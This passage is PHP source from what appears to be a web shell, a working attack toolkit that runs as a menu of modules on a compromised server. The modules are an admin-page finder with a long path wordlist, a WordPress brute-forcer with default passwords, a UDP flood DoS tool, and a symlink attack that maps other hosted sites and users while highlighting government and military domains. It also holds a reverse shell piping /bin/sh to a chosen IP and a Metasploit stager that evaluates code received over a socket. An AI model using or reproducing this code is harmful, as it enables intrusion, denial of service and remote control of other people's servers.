$list['front'] = "admin\r\nadm\r\nadmincp\r\nadmcp\r\ncp\r\nmodcp\r\nmoderatorcp\r\nadminare\r\nadmins\r\ncpanel\r\ncontrolpanel";
$list['end'] = "admin1.php\r\nadmin1.html\r\nadmin2.php\r\nadmin2.html\r\nyonetim.php\r\nyonetim.html\r\nyonetici.php\r\nyonetici.html\r\nccms/\r\nccms/login.php\r\nccms/index.php\r\nmaintenance/\r\nwebmaster/\r\nadm/\r\nconfiguration/\r\nconfigure/\r\nwebsvn/\r\nadmin/\r\nadmin/account.php\r\nadmin/account.html\r\nadmin/index.php\r\nadmin/index.html\r\nadmin/login.php\r\nadmin/login.html\r\nadmin/home.php\r\nadmin/controlpanel.html\r\nadmin/controlpanel.php\r\nadmin.php\r\nadmin.html\r\nadmin/cp.php\r\nadmin/cp.html\r\ncp.php\r\ncp.html\r\nadministrator/\r\nadministrator/index.html\r\nadministrator/index.php\r\nadministrator/login.html\r\nadministrator/login.php\r\nadministrator/account.html\r\nadministrator/account.php\r\nadministrator.php\r\nadministrator.html\r\nlogin.php\r\nlogin.html\r\nmodelsearch/login.php\r\nmoderator.php\r\nmoderator.html\r\nmoderator/login.php\r\nmoderator/login.html\r\nmoderator/admin.php\r\nmoderator/admin.html\r\nmoderator/\r\naccount.php\r\naccount.html\r\ncontrolpanel/\r\ncontrolpanel.php\r\ncontrolpanel.html\r\nadmincontrol.php\r\nadmincontrol.html\r\nadminpanel.php\r\nadminpanel.html\r\nadmin1.asp\r\nadmin2.asp\r\nyonetim.asp\r\nyonetici.asp\r\nadmin/account.asp\r\nadmin/index.asp\r\nadmin/login.asp\r\nadmin/home.asp\r\nadmin/controlpanel.asp\r\nadmin.asp\r\nadmin/cp.asp\r\ncp.asp\r\nadministrator/index.asp\r\nadministrator/login.asp\r\nadministrator/account.asp\r\nadministrator.asp\r\nlogin.asp\r\nmodelsearch/login.asp\r\nmoderator.asp\r\nmoderator/login.asp\r\nmoderator/admin.asp\r\naccount.asp\r\ncontrolpanel.asp\r\nadmincontrol.asp\r\nadminpanel.asp\r\nfileadmin/\r\nfileadmin.php\r\nfileadmin.asp\r\nfileadmin.html\r\nadministration/\r\nadministration.php\r\nadministration.html\r\nsysadmin.php\r\nsysadmin.html\r\nphpmyadmin/\r\nmyadmin/\r\nsysadmin.asp\r\nsysadmin/\r\nur-admin.asp\r\nur-admin.php\r\nur-admin.html\r\nur-admin/\r\nServer.php\r\nServer.html\r\nServer.asp\r\nServer/\r\nwp-admin/\r\nadministr8.php\r\nadministr8.html\r\nadministr8/\r\nadministr8.asp\r\nwebadmin/\r\nwebadmin.php\r\nwebadmin.asp\r\nwebadmin.html\r\nadministratie/\r\nadmins/\r\nadmins.php\r\nadmins.asp\r\nadmins.html\r\nadministrivia/\r\nDatabase_Administration/\r\nWebAdmin/\r\nuseradmin/\r\nsysadmins/\r\nadmin1/\r\nsystem-administration/\r\nadministrators/\r\npgadmin/\r\ndirectadmin/\r\nstaradmin/\r\nServerAdministrator/\r\nSysAdmin/\r\nadminister/\r\nLiveUser_Admin/\r\nsys-admin/\r\ntypo3/\r\npanel/\r\ncpanel/\r\ncPanel/\r\ncpanel_file/\r\nplatz_login/\r\nrcLogin/\r\nblogindex/\r\nformslogin/\r\nautologin/\r\nsupport_login/\r\nmeta_login/\r\nmanuallogin/\r\nsimpleLogin/\r\nloginflat/\r\nutility_login/\r\nshowlogin/\r\nmemlogin/\r\nmembers/\r\nlogin-redirect/\r\nsub-login/\r\nwp-login/\r\nlogin1/\r\ndir-login/\r\nlogin_db/\r\nxlogin/\r\nsmblogin/\r\ncustomer_login/\r\nUserLogin/\r\nlogin-us/\r\nacct_login/\r\nadmin_area/\r\nbigadmin/\r\nproject-admins/\r\nphppgadmin/\r\npureadmin/\r\nsql-admin/\r\nradmind/\r\nopenvpnadmin/\r\nwizmysqladmin/\r\nvadmind/\r\nezsqliteadmin/\r\nhpwebjetadmin/\r\nnewsadmin/\r\nadminpro/\r\nLotus_Domino_Admin/\r\nbbadmin/\r\nvmailadmin/\r\nIndy_admin/\r\nccp14admin/\r\nirc-macadmin/\r\nbanneradmin/\r\nsshadmin/\r\nphpldapadmin/\r\nmacadmin/\r\nadministratoraccounts/\r\nadmin4_account/\r\nadmin4_colon/\r\nradmind-1/\r\nSuper-Admin/\r\nAdminTools/\r\ncmsadmin/\r\nSysAdmin2/\r\nglobes_admin/\r\ncadmins/\r\nphpSQLiteAdmin/\r\nnavSiteAdmin/\r\nserver_admin_small/\r\nlogo_sysadmin/\r\nserver/\r\ndatabase_administration/\r\npower_user/\r\nsystem_administration/\r\nss_vms_admin_sm/\r\nadminarea/\r\nbb-admin/\r\nadminLogin/\r\npanel-administracion/\r\ninstadmin/\r\nmemberadmin/\r\nadministratorlogin/\r\nadmin/admin.php\r\nadmin_area/admin.php\r\nadmin_area/login.php\r\nsiteadmin/login.php\r\nsiteadmin/index.php\r\nsiteadmin/login.html\r\nadmin/admin.html\r\nadmin_area/index.php\r\nbb-admin/index.php\r\nbb-admin/login.php\r\nbb-admin/admin.php\r\nadmin_area/login.html\r\nadmin_area/index.html\r\nadmincp/index.asp\r\nadmincp/login.asp\r\nadmincp/index.html\r\nwebadmin/index.html\r\nwebadmin/admin.html\r\nwebadmin/login.html\r\nadmin/admin_login.html\r\nadmin_login.html\r\npanel-administracion/login.html\r\nnsw/admin/login.php\r\nwebadmin/login.php\r\nadmin/admin_login.php\r\nadmin_login.php\r\nadmin_area/admin.html\r\npages/admin/admin-login.php\r\nadmin/admin-login.php\r\nadmin-login.php\r\nbb-admin/index.html\r\nbb-admin/login.html\r\nbb-admin/admin.html\r\nadmin/home.html\r\npages/admin/admin-login.html\r\nadmin/admin-login.html\r\nadmin-login.html\r\nadmin/adminLogin.html\r\nadminLogin.html\r\nhome.html\r\nrcjakar/admin/login.php\r\nadminarea/index.html\r\nadminarea/admin.html\r\nwebadmin/index.php\r\nwebadmin/admin.php\r\nuser.html\r\nmodelsearch/login.html\r\nadminarea/login.html\r\npanel-administracion/index.html\r\npanel-administracion/admin.html\r\nmodelsearch/index.html\r\nmodelsearch/admin.html\r\nadmincontrol/login.html\r\nadm/index.html\r\nadm.html\r\nuser.php\r\npanel-administracion/login.php\r\nwp-login.php\r\nadminLogin.php\r\nadmin/adminLogin.php\r\nhome.php\r\nadminarea/index.php\r\nadminarea/admin.php\r\nadminarea/login.php\r\npanel-administracion/index.php\r\npanel-administracion/admin.php\r\nmodelsearch/index.php\r\nmodelsearch/admin.php\r\nadmincontrol/login.php\r\nadm/admloginuser.php\r\nadmloginuser.php\r\nadmin2/login.php\r\nadmin2/index.php\r\nadm/index.php\r\nadm.php\r\naffiliate.php\r\nadm_auth.php\r\nmemberadmin.php\r\nadministratorlogin.php\r\nadmin/admin.asp\r\nadmin_area/admin.asp\r\nadmin_area/login.asp\r\nadmin_area/index.asp\r\nbb-admin/index.asp\r\nbb-admin/login.asp\r\nbb-admin/admin.asp\r\npages/admin/admin-login.asp\r\nadmin/admin-login.asp\r\nadmin-login.asp\r\nuser.asp\r\nwebadmin/index.asp\r\nwebadmin/admin.asp\r\nwebadmin/login.asp\r\nadmin/admin_login.asp\r\nadmin_login.asp\r\npanel-administracion/login.asp\r\nadminLogin.asp\r\nadmin/adminLogin.asp\r\nhome.asp\r\nadminarea/index.asp\r\nadminarea/admin.asp\r\nadminarea/login.asp\r\npanel-administracion/index.asp\r\npanel-administracion/admin.asp\r\nmodelsearch/index.asp\r\nmodelsearch/admin.asp\r\nadmincontrol/login.asp\r\nadm/admloginuser.asp\r\nadmloginuser.asp\r\nadmin2/login.asp\r\nadmin2/index.asp\r\nadm/index.asp\r\nadm.asp\r\naffiliate.asp\r\nadm_auth.asp\r\nmemberadmin.asp\r\nadministratorlogin.asp\r\nsiteadmin/login.asp\r\nsiteadmin/index.asp\r\nADMIN/\r\npaneldecontrol/\r\nlogin/\r\ncms/\r\nadmon/\r\nADMON/\r\nadministrador/\r\nADMIN/login.php\r\npanelc/\r\nADMIN/login.html";
function template()
{
echo '
<script type="text/javascript">
<!--
function insertcode($text, $place, $replace)
{
var $this = $text;
var logbox = document.getElementById($place);
if($replace == 0)
document.getElementById($place).innerHTML = logbox.innerHTML+$this;
else
document.getElementById($place).innerHTML = $this;
//document.getElementById("helpbox").innerHTML = $this;
}
-->
</script>
<br>
<br>
<h1 class="technique-two">
</h1>
<div class="wrapper">
<div class="red">
<div class="tube">
<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>
<form action="" method="post" name="xploit_form">
<tr>
<tr>
<b><td>URL</td>
<td><input class="inputz" type="text" name="xploit_url" value="' . $_POST['xploit_url'] . '" style="width: 350px;" />
</td>
</tr><tr>
<td>404 string</td>
<td><input class="inputz" type="text" name="xploit_404string" value="' . $_POST['xploit_404string'] . '" style="width: 350px;" />
</td></b>
</tr><br><td>
<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />
</span></td></tr>
</form></td></tr>
<br /></table>
</div> <!-- /tube -->
</div> <!-- /red -->
<br />
<div class="green">
<div class="tube" id="rightcol">
Verificat: <span id="verified">0</span> / <span id="total">0</span><br />
<b>Found ones:<br /></b>
</div> <!-- /tube -->
</div></center><!-- /green -->
<br clear="all" /><br />
<div class="blue">
<div class="tube" id="logbox">
<br />
<br />
Admin page Finder :<br /><br />
</div> <!-- /tube -->
</div> <!-- /blue -->
</div> <!-- /wrapper -->
<br clear="all"><br>';
}
function show($msg, $br = 1, $stop = 0, $place = 'logbox', $replace = 0)
{
if ($br == 1) {
$msg .= "<br />";
}
echo "<script type=\"text/javascript\">insertcode('" . $msg . "', '" . $place . "', '" . $replace . "');</script>";
if ($stop == 1) {
exit;
}
@flush();
@ob_flush();
}
function check($x, $front = 0)
{
global $_POST, $site, $false;
if ($front == 0) {
$t = $site . $x;
} else {
$t = 'http://' . $x . '.' . $site . '/';
}
$headers = get_headers($t);
if (!eregi('200', $headers[0])) {
return 0;
}
$data = @file_get_contents($t);
if ($_POST['xploit_404string'] == "") {
if ($data == $false) {
return 0;
}
}
if ($_POST['xploit_404string'] != "") {
if (strpos($data, $_POST['xploit_404string'])) {
return 0;
}
}
return 1;
}
// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
template();
if (!isset($_POST['xploit_url'])) {
die;
}
if ($_POST['xploit_url'] == '') {
die;
}
$site = $_POST['xploit_url'];
if ($site[strlen($site) - 1] != "/") {
$site .= "/";
}
if ($_POST['xploit_404string'] == "") {
$false = @file_get_contents($site . "d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
}
$list['end'] = str_replace("\r", "", $list['end']);
$list['front'] = str_replace("\r", "", $list['front']);
$pathes = explode("\n", $list['end']);
$frontpathes = explode("\n", $list['front']);
show(count($pathes) + count($frontpathes), 1, 0, 'total', 1);
$verificate = 0;
foreach ($pathes as $path) {
show('Checking ' . $site . $path . ' : ', 0, 0, 'logbox', 0);
$verificate++;
show($verificate, 0, 0, 'verified', 1);
if (check($path) == 0) {
show('not found', 1, 0, 'logbox', 0);
} else {
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="' . $site . $path . '">' . $site . $path . '</a>', 1, 0, 'rightcol', 0);
}
}
preg_match("/\\/\\/(.*?)\\//i", $site, $xx);
$site = $xx[1];
if (substr($site, 0, 3) == "www") {
$site = substr($site, 4);
}
foreach ($frontpathes as $frontpath) {
show('Checking http://' . $frontpath . '.' . $site . '/ : ', 0, 0, 'logbox', 0);
$verificate++;
show($verificate, 0, 0, 'verified', 1);
if (check($frontpath, 1) == 0) {
show('not found', 1, 0, 'logbox', 0);
} else {
show('<span style="color: #00FF00;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
show('<a href="http://' . $frontpath . '.' . $site . '/">' . $frontpath . '.' . $site . '</a>', 1, 0, 'rightcol', 0);
}
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'wpbrute') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=wpbrute" method="post">
<center>
<br><Br><b><font size='2' >+--=[ Wordpress Brute Force ]=--+</font><br>
<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>
<form enctype="multipart/form-data" method="POST">
<table width='624' border='0' class='tabnet' id='Box'>
<tr><th colspan="5">Wordpress Brute Force</th></tr>
<tr>
<td > </td>
<td ><p>Hosts:</p></td>
<td ><p> Users:</p></td>
<td ><p>Passwords:</p></td>
</tr>
<tr>
<td> </td>
<td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php
if ($_POST) {
echo $_POST['hosts'];
}
?></textarea></td>
<td ><textarea style="background:black;" name="usernames" cols="30" rows="10" ><?php
if ($_POST) {
echo $_POST['usernames'];
} else {
echo "admin";
}
?></textarea></td>
<td ><textarea style="background:black;" name="passwords" cols="30" rows="10" ><?php
if ($_POST) {
echo $_POST['passwords'];
} else {
echo "admin\nadministrator\n123123\n123321\n123456\n1234567\n12345678\n123456789\n123456123456\nadmin2010\nadmin2011\npassword\nP@ssW0rd\n!@#\$%^\n!@#\$%^&*(\n(*&^%\$#@!\n111111\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999";
}
?></textarea></td>
</tr>
<tr><td colspan="4"><input class='inputzbut' type="submit" name="submit" value="Brute Now" />
<?php
if ($_POST) {
$hosts = trim(filter($_POST['hosts']));
$passwords = trim(filter($_POST['passwords']));
$usernames = trim(filter($_POST['usernames']));
if ($passwords && $usernames && $hosts) {
$hosts_explode = explode("\n", $hosts);
$usernames_explode = explode("\n", $usernames);
$passwords_explode = explode("\n", $passwords);
foreach ($hosts_explode as $host) {
$host = RemoveLastSlash($host);
$hacked = 0;
$host = str_replace(array("http://", "https://", "www."), "", trim($host));
$host = "http://" . $host;
$wpAdmin = $host . '/wp-admin/';
if (!url_exists($host . "/wp-login.php")) {
echo "<p>" . $host . " => <font color='red'>Error In Login Page !</font></p>";
ob_flush();
flush();
continue;
}
foreach ($usernames_explode as $username) {
foreach ($passwords_explode as $password) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $host . '/wp-login.php');
curl_setopt($ch, CURLOPT_COOKIEJAR, "coki.txt");
curl_setopt($ch, CURLOPT_COOKIEFILE, "coki.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, TRUE);
curl_setopt($ch, CURLOPT_POSTFIELDS, "log=" . $username . "&pwd=" . $password . "&wp-submit=Giri‏" . "&redirect_to=" . $wpAdmin . "&testcookie=1");
$login = curl_exec($ch);
if (eregi("profile.php", $login)) {
$hacked = 1;
echo "<p>" . $host . " => UserName : [<font color='green'>" . $username . "</font>] : Password : [<font color='green'>" . $password . "</font>]</p>";
ob_flush();
flush();
break;
}
}
if ($hacked == 1) {
break;
}
}
if ($hacked == 0) {
echo "<p>" . $host . " => <font color='red'>Failed !</font></p>";
ob_flush();
flush();
}
}
} else {
echo "<p><font color='red'>All fields are Required ! </font></p>";
}
}
?>
</td></tr>
</table></form></center>
<?php
function url_exists($strURL)
{
$resURL = curl_init();
curl_setopt($resURL, CURLOPT_URL, $strURL);
curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);
curl_setopt($resURL, CURLOPT_HEADERFUNCTION, 'curlHeaderCallback');
curl_setopt($resURL, CURLOPT_FAILONERROR, 1);
curl_exec($resURL);
$intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);
curl_close($resURL);
if ($intReturnCode != 200) {
return false;
} else {
return true;
}
}
function filter($string)
{
if (get_magic_quotes_gpc() != 0) {
return stripslashes($string);
} else {
return $string;
}
}
function RemoveLastSlash($host)
{
if (strrpos($host, '/', -1) == strlen($host) - 1) {
return substr($host, 0, strrpos($host, '/', -1));
} else {
return $host;
}
}
echo "</p>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'dos') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=dos" method="post">
<center><br><br><br>
Your IP: <font color="red"><b><?php
echo $my_ip;
?></b></font> (Don't DoS yourself nub)<br><br>
<table class="tabnet" style="width:333px;padding:0 1px;">
<th colspan="5">Ddos Tool</th>
<tr><tr><td>IP Target</td><td>:</td>
<td><input type="text" class="inputz" name="ip" size="48" maxlength="25" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"/>
</td></tr>
<tr><td>Time</td><td>:</td>
<td><input type="text" class="inputz" name="time" size="48" maxlength="25" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"/>
</td></tr>
<tr><td>Port</td><td>:</td>
<td><input type="text" class="inputz" name="port" size="48" maxlength="5" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"/>
</td></tr></tr></table></b><br>
<input type="submit" class="inputzbut" name="fire" value=" Firee !!! ">
<br><br>
<center>
After initiating the DoS attack, please wait while the browser loads.
</center>
</form>
</center>
<?php
$submit = $_POST['fire'];
if (isset($submit)) {
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: {$ip} on port {$rand} <br><br>";
$max_time = $time + $exec_time;
for ($i = 0; $i < 65535; $i++) {
$out .= "X";
}
while (1) {
$packets++;
if (time() > $max_time) {
break;
}
$fp = fsockopen("udp://{$ip}", $rand, $errno, $errstr, 5);
if ($fp) {
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at " . time('h:i:s') . " with {$packets} (" . round($packets * 65 / 1024, 2) . " mB) packets averaging " . round($packets / $exec_time, 2) . " packets/s \n";
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'symlink') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=symlink" method="post">
<?php
@set_time_limit(0);
echo "<br><br><center><h1>+--=[ Symlink ]=--+</h1></center><br><br><center><div class=content>";
@mkdir('sym', 0777);
$htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$write = @fopen('sym/.htaccess', 'w');
fwrite($write, $htaccess);
@symlink('/', 'sym/root');
$filelocation = basename("/var/www/html/1n73ctionshell.php.7e39cc29b3ef7cbbb19cffcc06c2e038.bin");
$read_named_conf = @file('/etc/named.conf');
if (!$read_named_conf) {
echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
} else {
echo "<br><br><div class='tmp'><table border='1' bordercolor='#00ff00' width='500' cellpadding='1' cellspacing='0'><td>Domains</td><td>Users</td><td>symlink </td>";
foreach ($read_named_conf as $subject) {
if (eregi('zone', $subject)) {
preg_match_all('#zone "(.*)"#', $subject, $string);
flush();
if (strlen(trim($string[1][0])) > 2) {
$UID = posix_getpwuid(@fileowner('/etc/valiases/' . $string[1][0]));
$name = $UID['name'];
@symlink('/', 'sym/root');
$name = $string[1][0];
$iran = '\\.ir';
$israel = '\\.il';
$indo = '\\.id';
$sg12 = '\\.sg';
$edu = '\\.edu';
$gov = '\\.gov';
$gose = '\\.go';
$gober = '\\.gob';
$mil1 = '\\.mil';
$mil2 = '\\.mi';
$malay = '\\.my';
$china = '\\.cn';
$japan = '\\.jp';
$austr = '\\.au';
$porn = '\\.xxx';
$as = '\\.uk';
$calfn = '\\.ca';
if (eregi("\\.ir", $string[1][0]) or eregi("\\.il", $string[1][0]) or eregi("\\.id", $string[1][0]) or eregi("\\.sg", $string[1][0]) or eregi("\\.edu", $string[1][0]) or eregi("\\.gov", $string[1][0]) or eregi("\\.go", $string[1][0]) or eregi("\\.gob", $string[1][0]) or eregi("\\.mil", $string[1][0]) or eregi("\\.mi", $string[1][0]) or eregi("\\.my", $string[1][0]) or eregi("\\.cn", $string[1][0]) or eregi("\\.jp", $string[1][0]) or eregi("\\.au", $string[1][0]) or eregi("\\.xxx", $string[1][0]) or eregi("\\.uk", $string[1][0]) or eregi("\\.ca", $string[1][0])) {
$name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>" . $string[1][0] . '</div>';
}
echo "\r\n<tr>\r\n\r\n<td>\r\n<div class='dom'><a target='_blank' href=http://www." . $string[1][0] . '/>' . $name . ' </a> </div>
</td>
<td>
' . $UID['name'] . "\r\n</td>\r\n\r\n<td>\r\n<a href='sym/root/home/" . $UID['name'] . "/public_html' target='_blank'>Symlink </a>\r\n</td>\r\n\r\n</tr></div> ";
flush();
}
}
}
}
echo "</center></table>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'domain') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=domain" method="post">
<?php
echo "<br><br><center><h1>+--=[ local domain viewer ]=--+</h1></center><br><br><div class=content>";
$file = @implode(@file("/etc/named.conf"));
if (!$file) {
die("# can't ReaD -> [ /etc/named.conf ]");
}
preg_match_all("#named/(.*?).db#", $file, $r);
$domains = array_unique($r[1]);
echo "<table align=center border=1 width=59% cellpadding=5>\r\n<tr><td colspan=2>[+] There are : [ <b>" . count($domains) . "</b> ] Domain</td></tr>\r\n<tr><td>Domain</td><td>User</td></tr>";
foreach ($domains as $domain) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
echo "<tr><td>{$domain}</td><td>" . $user['name'] . "</td></tr>";
}
echo "</table>";
echo "</div>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'tool') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=tool" method="post">
<?php
error_reporting(0);
function ss($t)
{
if (!get_magic_quotes_gpc()) {
return trim(urldecode($t));
}
return trim(urldecode(stripslashes($t)));
}
$s_my_ip = gethostbyname($_SERVER['HTTP_HOST']);
$rsport = "443";
$rsportb4 = $rsport;
$rstarget4 = $s_my_ip;
$s_result = "<br><br><br><center><table><div class='mybox' align='center'><td><h2>Reverse shell ( php )</h2><form method='post' actions='?y=<?php echo {$pwd};?>&x='tool'><table class='tabnet'><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' name='rstarget4' value='" . $rstarget4 . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='sqlportb4' value='" . $rsportb4 . "' /></td></tr></table><input type='submit' name='xback_php' class='inputzbut' value='connect' style='width:120px;height:30px;margin:10px 2px 0 2px;' /><input type='hidden' name='d' value='" . $pwd . "' /></form></td><td><hr color='#4C83AF'><td><td><form method='POST'><table class='tabnet'><h2>Metasploit Connection </h2><tr><td style='width:110px;'>Your IP</td><td><input style='width:100%;' class='inputz' type='text' size='40' name='yip' value='" . $my_ip . "' /></td></tr><tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' size='5' name='yport' value='443' /></td></tr></table><input class='inputzbut' type='submit' value='Connect' name='metaConnect' style='width:120px;height:30px;margin:10px 2px 0 2px;'></form></td></div></center></table><br><br />";
echo $s_result;
if ($_POST['metaConnect']) {
$ipaddr = $_POST['yip'];
$port = $_POST['yport'];
if ($ip == "" && $port == "") {
echo "fill in the blanks";
} else {
if (FALSE !== strpos($ipaddr, ":")) {
$ipaddr = "[" . $ipaddr . "]";
}
if (is_callable('stream_socket_client')) {
$msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
if (!$msgsock) {
die;
}
$msgsock_type = 'stream';
} elseif (is_callable('fsockopen')) {
$msgsock = fsockopen($ipaddr, $port);
if (!$msgsock) {
die;
}
$msgsock_type = 'stream';
} elseif (is_callable('socket_create')) {
$msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$res = socket_connect($msgsock, $ipaddr, $port);
if (!$res) {
die;
}
$msgsock_type = 'socket';
} else {
die;
}
switch ($msgsock_type) {
case 'stream':
$len = fread($msgsock, 4);
break;
case 'socket':
$len = socket_read($msgsock, 4);
break;
}
if (!$len) {
die;
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$buffer = '';
while (strlen($buffer) < $len) {
switch ($msgsock_type) {
case 'stream':
$buffer .= fread($msgsock, $len - strlen($buffer));
break;
case 'socket':
$buffer .= socket_read($msgsock, $len - strlen($buffer));
break;
}
}
eval($buffer);
echo "[*] Connection Terminated";
die;
}
}
if (isset($_REQUEST['sqlportb4'])) {
$rsportb4 = ss($_REQUEST['sqlportb4']);
}
if (isset($_REQUEST['rstarget4'])) {
$rstarget4 = ss($_REQUEST['rstarget4']);
}
if ($_POST['xback_php']) {
$ip = $rstarget4;
$port = $rsportb4;
$chunk_size = 1337;
$write_a = null;
$error_a = null;
$shell = '/bin/sh';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();
if ($pid == -1) {
exit(1);
}
if ($pid) {
exit(0);
}
if (posix_setsid() == -1) {
exit(1);
}
$daemon = 1;
}
umask(0);
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
exit(1);
}
$descriptorspec = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
exit(1);
}
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
while (1) {
if (feof($sock)) {
break;
}
if (feof($pipes[1])) {
break;
}
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
if (in_array($sock, $read_a)) {
$input = fread($sock, $chunk_size);
fwrite($pipes[0], $input);
}
if (in_array($pipes[1], $read_a)) {
$input = fread($pipes[1], $chunk_size);
fwrite($sock, $input);
}
if (in_array($pipes[2], $read_a)) {
$input = fread($pipes[2], $chunk_size);
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
$rsres = " ";
$s_result .= $rsres;
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'whois') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=whois" method="post">
<?php
@set_time_limit(0);
@error_reporting(0);
function sws_domain_info($site)
{
$getip = @file_get_contents("http://networktools.nl/whois/{$site}");
flush();
$ip = @findit($getip, '<pre>', '</pre>');
return $ip;
}
function sws_net_info($site)
{
$getip = @file_get_contents("http://networktools.nl/asinfo/{$site}");
$ip = @findit($getip, '<pre>', '</pre>');
return $ip;
}
function sws_site_ser($site)
{
$getip = @file_get_contents("http://networktools.nl/reverseip/{$site}");
$ip = @findit($getip, '<pre>', '</pre>');
return $ip;
}
function sws_sup_dom($site)
{
$getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=" . $site . "&Search+subdomains=Find+subdomains");
$ip = @findit($getip, '<strong>Nameservers found:</strong>', '<script type="text/javascript">');
return $ip;
}
function sws_port_scan($ip)
{
$list_post = array('80', '21', '22', '2082', '25', '53', '110', '443', '143');
foreach ($list_post as $o_port) {
$connect = @fsockopen($ip, $o_port, $errno, $errstr, 5);
if ($connect) {
echo " {$ip} : {$o_port} ??? <u style=\"color: #00ff00\">Open</u> <br /><br />";
flush();
}
}
}
function findit($mytext, $starttag, $endtag)
{
$posLeft = @stripos($mytext, $starttag) + strlen($starttag);
$posRight = @stripos($mytext, $endtag, $posLeft + 1);
return @substr($mytext, $posLeft, $posRight - $posLeft);
}
echo "<br><br><center>";
echo "\r\n <br />\r\n <div class=\"sc\"><form method=\"post\"><table class=\"tabnet\">\r\n\t<tr><th colspan=\"5\">Website Whois</th></tr>\r\n <tr><td>Site to scan </td><td>:</td><td><input type=\"text\" name=\"site\" size=\"50\" style=\"color:#00ff00;background-color:#000000\" class=\"inputz\" value=\"site.com\" />   <input class=\"inputzbut\" type=\"submit\" style=\"color:#00ff00;background-color:#000000\" name=\"scan\" value=\"Scan !\" /></td></tr>\r\n </table></form></div>";
if (isset($_POST['scan'])) {
$site = @htmlentities($_POST['site']);
if (empty($site)) {
die('<br /><br /> Not add IP .. !');
}
$ip_port = @gethostbyname($site);
echo "\r\n <br /><div class=\"sc2\">Scanning [ {$site} ip {$ip_port} ] ... </div>\r\n <div class=\"tit\"> <br /><br />|-------------- Port Server ------------------| <br /></div>\r\n <div class=\"ru\"> <br /><br /><pre>\r\n ";
echo "" . sws_port_scan($ip_port) . " </pre></div> ";
flush();
echo "<div class=\"tit\"><br /><br />|-------------- Domain Info ------------------| <br /> </div>\r\n <div class=\"ru\">\r\n <pre>" . sws_domain_info($site) . "</pre></div>";
flush();
echo "\r\n <div class=\"tit\"> <br /><br />|-------------- Network Info ------------------| <br /></div>\r\n <div class=\"ru\">\r\n <pre>" . sws_net_info($site) . "</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- subdomains Server ------------------| <br /></div>\r\n <div class=\"ru\">\r\n <pre>" . sws_sup_dom($site) . "</pre> </div>";
flush();
echo "<div class=\"tit\"> <br /><br />|-------------- Site Server ------------------| <br /></div>\r\n <div class=\"ru\">\r\n <pre>" . sws_site_ser($site) . "</pre> </div>\r\n <div class=\"tit\"> <br /><br />|-------------- END ------------------| <br /></div>";
flush();
}
echo "</center>";
} elseif (isset($_GET['x']) && $_GET['x'] == 'about') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=about" method="post">
<center><br><br><img src='http://i.imgur.com/3m7leCw.jpg'>
<br><br><br>terimakasih buat teman2 ku yang mau membantu saya menyelesaikan shell saya yang versi v3.1 spesial edition ini
